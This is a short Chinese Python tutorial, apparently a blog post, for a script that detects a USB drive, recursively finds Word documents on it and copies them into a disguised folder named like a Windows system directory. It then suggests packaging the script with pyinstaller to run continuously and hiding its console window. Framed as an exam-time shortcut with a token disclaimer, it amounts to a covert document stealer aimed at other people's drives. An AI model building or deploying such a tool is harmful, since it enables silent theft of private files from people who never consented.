絮叨一下
临近期末考试,决定写一个爬取u盘文档的内容来解决一下我的"燃眉之急"
当然了,这个自己玩玩就行了不要干坏事
思路
第一步:查找U盘
第二步:查找指定文件
第三步:复制
第一步
可以使用os.path模块操作目录。
导入os模块
使用exists方法
查找是否存在指定文件
import os
print(os.path.exists("F:"))
# 有这个盘符就会返回TRUE 没有会返回false
第二步
查找指定文件
使用pathlib模块
使用glob方法,查找指定文件(包含子目录)
from pathlib import *
for file in Path("F:").glob(r"**/*.doc*"):
# file 的类型是 <class 'pathlib.WindowsPath'>
# 查找doc,或者是docx文件
copy = str(file)
# 要使用shutil.copy 这个方法进行复制,所以要转换一下类型
# copy两个参数都需要是字符串类型,可以自己看一下
第三步
进行复制
import shutil
shutil.copy(copy, "C:\\windows_old\\03\\03\\word")
# 前面是源文件,后面是你想要的复制到的目录,需要这个目录先存在,可以使用mkdir新建一个
写在最后
可以使用pyinstaller 进行打包 ,运行起来之后就会一直进行查找u盘,查找到之后就会自动进行复制了,当然这个还是有个问题的,就是会显示cmd窗口,这个也是可以解决的.
公众号:Linux下撸python
期待和你再次相遇
愿你学的愉快